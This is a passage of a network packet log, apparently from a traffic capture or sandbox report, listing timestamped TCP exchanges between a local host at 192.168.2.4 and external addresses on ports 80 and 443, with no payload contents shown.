Oct 31, 2024 03:04:29.333280087 CET	63900	443	192.168.2.4	188.114.96.3
Oct 31, 2024 03:04:29.333537102 CET	63900	443	192.168.2.4	188.114.96.3
Oct 31, 2024 03:04:29.333545923 CET	443	63900	188.114.96.3	192.168.2.4
Oct 31, 2024 03:04:29.390464067 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.390536070 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.390548944 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.390604019 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.390604973 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.390614986 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.390626907 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.390656948 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.390672922 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.390769005 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.390780926 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.390790939 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.390821934 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.390846014 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.390846968 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.390858889 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.390892982 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.391223907 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.391247988 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.391263008 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.391273022 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.391303062 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.391535044 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.391546011 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.391563892 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.391577005 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.391583920 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.391612053 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.391663074 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.391674995 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.391710997 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.392105103 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.392332077 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.392379045 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.509221077 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.509234905 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.509290934 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.509303093 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.509301901 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.509314060 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.509351969 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.510040998 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.510055065 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.510066986 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.510092974 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.510123968 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.510134935 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.510145903 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.510155916 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.510165930 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.510174036 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.510176897 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.510189056 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.510190010 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.510226965 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.510289907 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.510301113 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.510310888 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.510327101 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.510345936 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.510449886 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.510462999 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.510474920 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.510498047 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.510498047 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.510514021 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.552490950 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.552548885 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.552560091 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.552575111 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.552584887 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.552609921 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.552651882 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.627819061 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.627831936 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.627841949 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.627870083 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.627891064 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.627903938 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.627937078 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.627957106 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.627980947 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.627993107 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.628012896 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.628021955 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.628060102 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.628175974 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.628187895 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.628199100 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.628211021 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.628216028 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.628222942 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.628223896 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.628249884 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.628283024 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.628643036 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.628653049 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.628688097 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.628729105 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.628766060 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.628767014 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.628784895 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.628798962 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.628803015 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.628828049 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.628839970 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.629117012 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.629168034 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.629219055 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.629230022 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.629240036 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.629255056 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.629277945 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.671392918 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.671406031 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.671416044 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.671444893 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.671451092 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.671483994 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.746470928 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.746493101 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.746504068 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.746520996 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.746545076 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.746592045 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.746609926 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.746619940 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.746624947 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.746654987 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.746819019 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.746856928 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.746922970 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.746957064 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.747091055 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.747127056 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.747137070 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.747168064 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.747180939 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.747191906 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.747217894 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.747327089 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.747337103 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.747347116 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.747358084 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.747389078 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.747553110 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.747565031 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.747575998 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.747587919 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.747612953 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.747781038 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.747803926 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.747814894 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.747823000 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.747839928 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.789931059 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.789982080 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.789992094 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.790000916 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.790003061 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.790024996 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.790059090 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.836529970 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.836540937 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.836551905 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.836601973 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.836643934 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.865205050 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.865251064 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.865257978 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.865261078 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.865300894 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.865345955 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.865356922 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.865366936 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.865396023 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.865408897 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.865673065 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.865683079 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.865714073 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.865714073 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.865742922 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.865772009 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.865783930 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.865813971 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.865976095 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.866012096 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.866081953 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.866094112 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.866117001 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.866117001 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.866127968 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.866142988 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.866151094 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.866164923 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.866303921 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.866328955 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.866338968 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.866345882 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.866369963 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.866377115 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.866530895 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.866564035 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.866585970 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.866595984 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.866620064 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.908679008 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.908690929 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.908701897 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.908746004 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.908781052 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.955250978 CET	443	63900	188.114.96.3	192.168.2.4
Oct 31, 2024 03:04:29.955334902 CET	63900	443	192.168.2.4	188.114.96.3
Oct 31, 2024 03:04:29.955899954 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.955924034 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.955934048 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.956036091 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.956037045 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.956538916 CET	63900	443	192.168.2.4	188.114.96.3
Oct 31, 2024 03:04:29.956546068 CET	443	63900	188.114.96.3	192.168.2.4
Oct 31, 2024 03:04:29.956792116 CET	443	63900	188.114.96.3	192.168.2.4
Oct 31, 2024 03:04:29.958147049 CET	63900	443	192.168.2.4	188.114.96.3
Oct 31, 2024 03:04:29.958290100 CET	63900	443	192.168.2.4	188.114.96.3
Oct 31, 2024 03:04:29.958318949 CET	443	63900	188.114.96.3	192.168.2.4
Oct 31, 2024 03:04:29.958373070 CET	63900	443	192.168.2.4	188.114.96.3
Oct 31, 2024 03:04:29.958379030 CET	443	63900	188.114.96.3	192.168.2.4
Oct 31, 2024 03:04:29.983944893 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.983958006 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.983971119 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.984000921 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.984019041 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.984035969 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.984047890 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.984057903 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.984074116 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.984106064 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.984353065 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.984410048 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.984422922 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.984424114 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.984447002 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.984463930 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.984558105 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.984570980 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.984586954 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.984608889 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.984608889 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.984627008 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.984770060 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.984812021 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.984813929 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.984831095 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.984857082 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.984868050 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.985001087 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.985044003 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.985049963 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.985066891 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.985079050 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.985090971 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.985106945 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.985124111 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.985512972 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.985526085 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.985543013 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:29.985563993 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:29.985574961 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.027522087 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.027534008 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.027544975 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.027581930 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.027604103 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.072365999 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.072377920 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.072561026 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.073829889 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.073842049 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.073853016 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.073890924 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.073906898 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.102637053 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.102685928 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.102696896 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.102745056 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.102756023 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.102761030 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.102817059 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.102817059 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.102817059 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.103028059 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.103059053 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.103075981 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.103096962 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.103106976 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.103131056 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.103142023 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.103142023 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.103148937 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.103178024 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.103199005 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.103480101 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.103528023 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.103573084 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.103616953 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.103624105 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.103678942 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.103692055 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.103703976 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.103713989 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.103740931 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.103761911 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.103924036 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.103971004 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.103981018 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.103991985 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.104027033 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.104037046 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.144431114 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.144443989 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.144454002 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.144465923 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.144490004 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.144515991 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.146007061 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.146018982 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.146028996 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.146063089 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.146084070 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.192667007 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.192688942 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.192706108 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.192759037 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.192789078 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.221599102 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.221662998 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:30.221678019 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:30.221679926 CET	80	63886	185.215.113.16	192.168.2.4
